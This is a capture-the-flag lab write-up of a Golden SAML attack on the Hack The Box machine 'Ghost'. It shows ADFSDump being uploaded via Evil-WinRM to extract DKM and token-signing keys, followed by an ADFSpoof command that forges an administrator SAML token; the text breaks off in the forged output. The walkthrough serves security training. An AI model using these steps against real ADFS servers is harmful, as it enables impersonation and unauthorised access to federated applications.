Golden SAML Attack
The adfs_gmsa$
account has been [[Ghost_user_privileges_DC01_adfs_gmsa#ad-federation|identified]] as the service account managing the target [AD Federation Service](https://learn.microsoft.com/windows-server/identity/ad-fs/ad-fs-overview). The AD Federation authentication endpoint was first [[Ghost_Web_443#ad-federation|enumerated]] and confirmed to be operating on the target port `443`. Authentication is initiated by a [[Ghost_Web_8443#web|custom application]] on the URL `https://core.ghost.htb:8443/`. With the `adfs_gmsa` account now compromised, it is possible to extract both the private key and encrypted PFX, enabling the execution of a Golden SAML Attack.
- A user wants to connect to a web application
- The application redirects the user to the ADFS server
- The user authenticates to the ADFS
- Once authenticated to the ADFS, the user is redirected to the web application. Additional information is included inside the request (for example user’s groups)
- The user is now authenticated on the application
Golden SAML is similar in concept to the Golden Ticket technique. The difference is that instead of compromising the Active Directory secret that signs Kerberos tickets, the adversary compromises the secret used to sign the SAML assertions created by Active Directory Federation Services (AD FS), which is frequently used to extend the Active Directory identity to cloud applications.
For a Golden SAML attack, an adversary must first compromise the AD FS service account on the AD FS server. Once authenticated as the AD FS service account, they can use tools such as ADFSDump to extract the required information:
• The token signing certificate and its private key
• The Distributed Key Manager (DKM) key from Active Directory
• The list of services for which the AD FS server is configured to be an identity provider
Dumping DKM key & EncryptedPFX
PS C:\Users\tacticalgator\source\repos> git clone https://github.com/mandiant/ADFSDump ; start .\ADFSDump\ADFSDump.sln
Cloning into 'ADFSDump'...
remote: Enumerating objects: 105, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 105 (delta 6), reused 10 (delta 4), pack-reused 85
Receiving objects: 100% (105/105), 33.48 KiB | 2.39 MiB/s, done.
Resolving deltas: 100% (55/55), done.
Downloading the ADFSDump repository
Prep
Build complete
PS C:\Users\tacticalgator\Downloads> cp C:\Users\tacticalgator\source\repos\ADFSDump\ADFSDump\bin\Release\ADFSDump.exe .
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ cp /mnt/hgfs/Downloads/ADFSDump.exe .
Transferred to Kali
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe .
Info: Uploading /home/kali/archive/htb/labs/ghost/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\.
Data: 39592 bytes of 39592 bytes copied
Info: Upload successful!
Delivered
Execution
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
___ ____ ___________ ____
/ | / __ \/ ____/ ___// __ \__ ______ ___ ____
/ /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /
/_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/
/_/
Created by @doughsec
## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
Executing the ADFSDump.exe binary reveals the followings;
- Identifier
- DKM keys
- Token Signing key
- Relying Party Trust Information
core.ghost.htb
I will save those keys into files; DKMKey1.txt
, DKMKey2.txt
and TKSKey.txt
But why are there 2 DKM Keys?
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ cat TKSKey.txt | base64 -d > TKSKey.bin
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ cat DKMKey1.txt | tr -d "-" | xxd -r -p > DKMKey1.bin
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ cat DKMKey2.txt | tr -d "-" | xxd -r -p > DKMKey2.bin
It’s necessary to turn those keys into binary blobs
Forge the Gold SAML Token
A python tool to forge AD FS security tokens.
- Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing.
- Given a signing key, produce a signed security token that can be used to access a federated application.
┌──(kali㉿kali)-[~/archive/htb/labs/ghost]
└─$ git clone https://github.com/mandiant/ADFSpoof
Cloning into 'ADFSpoof'...
remote: Enumerating objects: 76, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 76 (delta 11), reused 7 (delta 7), pack-reused 60
Receiving objects: 100% (76/76), 25.51 KiB | 1.21 MiB/s, done.
Resolving deltas: 100% (38/38), done.
Downloaded to Kali
┌──(kali㉿kali)-[~/…/htb/labs/ghost/ADFSpoof]
└─$ python3 -m venv myVenv && source myVenv/bin/activate
┌──(myVenv)─(kali㉿kali)-[~/…/htb/labs/ghost/ADFSpoof]
└─$ pip3 install -r requirements.txt
Setting up
Existing SAML Structure
In order to forge a SAML token, it’s important to first understand the existing SAML token.
I will first get back to the custom application that uses the ADFS SSO
The custom web app requests the user for authentication using AD Federation Service’s SSO
I will use the credential of the
justin.bradley
user to enumerate the behavior
The AD Federation Service makes a SAML request with the user supplied credential;
justin.bradley
The AD Federation Service sends out a SAML response
The browser then sends out the SAML response to the custom web app sign-in endpoint at
/adfs/saml/postResponse
The result is that the
justin.bradley
user doesn’t have access to the custom web app. It’s only available to the administrator
user
Now, let’s decode the SAML response
SAML Response
The SAML response is base64-encoded with URL wrapper
<samlp:Response ID="_dd637d60-985f-4c6b-91ce-3d8f3450eae4" Version="2.0" IssueInstant="2024-07-18T16:08:22.946Z" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_b1109a43c1887b99026afabc021ebd9439ce79d2"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<Issuer
xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://federation.ghost.htb/adfs/services/trust
</Issuer>
<samlp:Status
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<Assertion ID="_5cc7aa27-b7cb-4c0e-bdf5-36390476475d" IssueInstant="2024-07-18T16:08:22.946Z" Version="2.0"
xmlns="urn:oasis:names:tc:SAML:2.0:assertion"
<Issuer>http://federation.ghost.htb/adfs/services/trust</Issuer>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<ds:Reference URI="#_5cc7aa27-b7cb-4c0e-bdf5-36390476475d"
<ds:Transforms
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /
<ds:DigestValue>9K3EDRJFLMbaxB/sylxKbeRJOMalS4I9ejPqOE1m06k=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo
<ds:SignatureValue>UPpcXaZk0KAz5oXgRGEVKTPmB+L0QWuAwEnHfPhLdah3xYOlLMQWpgTVXDVzJgDujTPjvlzVsXU9o6yyJYyuJsTw5OxKG3X9MUhiMLbqLj3l/KZ83SOL4HNf7/daFAOxFG9djZr3HHmL7E5lOHSfCTcu1xEI0lwqUSf8QExb/wqlAxB60o0Im8d8o9rEMiAipUl6+simONPAh5tgyjeYRi3cEAMW8SFQ7KOpoEpY4M1qzntUZcDjEL4SjZxukP+yeDf2s2T/QJ9YFPVCOjMRZ4sNEuuaL7RaKqAkHB/4efvY5hmZxVb8M6E1a/YHHejDXk5zJfMWeR85K/wvdlABZoaTCBMpO0yESkhs/kdvRIAO+ynxEIjy+5RvDvehrNliAdUwdg4GrDjpVCaWpE3SKXzi6733O+6qaAK5BKrecYiQuv7mPQXIWkWQo21PU7kx1jCWkTCeXRLgHCu6UNrHGnJ3YYyl3eTuW9efg7/I0BqsAOCCe06DEqSy1wGAvB8+HXQBNTa5qKv+/FQOqJnRnrVbcKeDeDiMBxuGxK+2GwTOp98W2FX0OQjYv6kNSXbJu72QrgNlmBN2HkN9dheMRsPkubpCLHrMQ4Un2mpzcI4b8NFe0iydBJ0GH7OHkGTHR7lTkNlhj0cAJq3BIFdzn/vHxKclECeap0+IeYChXFE=</ds:SignatureValue
<KeyInfo
xmlns="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==</ds:X509Certificate>
</ds:X509Data
</KeyInfo>
</ds:Signature>
<Subject>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"
<SubjectConfirmationData InResponseTo="_b1109a43c1887b99026afabc021ebd9439ce79d2" NotOnOrAfter="2024-07-18T16:13:22.946Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse" />
</SubjectConfirmation>
</Subject
<Conditions NotBefore="2024-07-18T16:08:22.946Z" NotOnOrAfter="2024-07-18T17:08:22.946Z">
<AudienceRestriction>
<Audience https://core.ghost.htb:8443</Audience>
</AudienceRestriction
</Conditions>
<AttributeStatement
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
<AttributeValue>justin.bradley@ghost.htb</AttributeValue>
</Attribute>
<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
<AttributeValue>justin.bradley</AttributeValue
</Attribute
</AttributeStatement
<AuthnStatement AuthnInstant="2024-07-18T16:06:01.373Z">
<AuthnContext>
<AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef
</AuthnContext
</AuthnStatement>
</Assertion>
</samlp:Response>
From the decoded SAML response the following key entries can be seen;
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>USERNAME@DOMAIN</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>USERNAME</AttributeValue></Attribute>
Forgery
Leveraging the expected entries in the existing SAML response, I can forge one.
┌──(myVenv)─(kali㉿kali)-[~/…/htb/labs/ghost/ADFSpoof]
└─$ python3 ADFSpoof.py -b ../TKSKey.bin ../DKMKey2.bin --server federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport --nameid administrator@ghost.htb --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'
___ ____ ___________ ____
/ | / __ \/ ____/ ___/____ ____ ____ / __/
/ /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ |_/_____/_/ /____/ .___/\____/\____/_/
/_/
A tool to for AD FS security tokens
Created by @doughsec
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJfWDNFUklQIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNC0wNy0xOFQxNTowMDoxMy4wMDBaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIvPjwvc2FtbHA6U3RhdHVzPjxBc3NlcnRpb24geG1sbnM9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIElEPSJfUEZZNUxLIiBJc3N1ZUluc3RhbnQ9IjIwMjQtMDctMThUMTU6MDA6MTMuMDAwWiIgVmVyc2lvbj0iMi4wIj48SXNzdWVyPmh0dHA6Ly9mZWRlcmF0aW9uLmdob3N0Lmh0Yi9hZGZzL3NlcnZpY2VzL3RydXN0PC9Jc3N1ZXI%2BPGRzOlNpZ25hdHVyZSB4bWxuczpkcz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI%2BPGRzOlNpZ25lZEluZm8%2BPGRzOkNhbm9uaWNhbGl6YXRpb25NZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiLz48ZHM6U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIvPjxkczpSZWZlcmVuY2UgVVJJPSIjX1BGWTVMSyI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy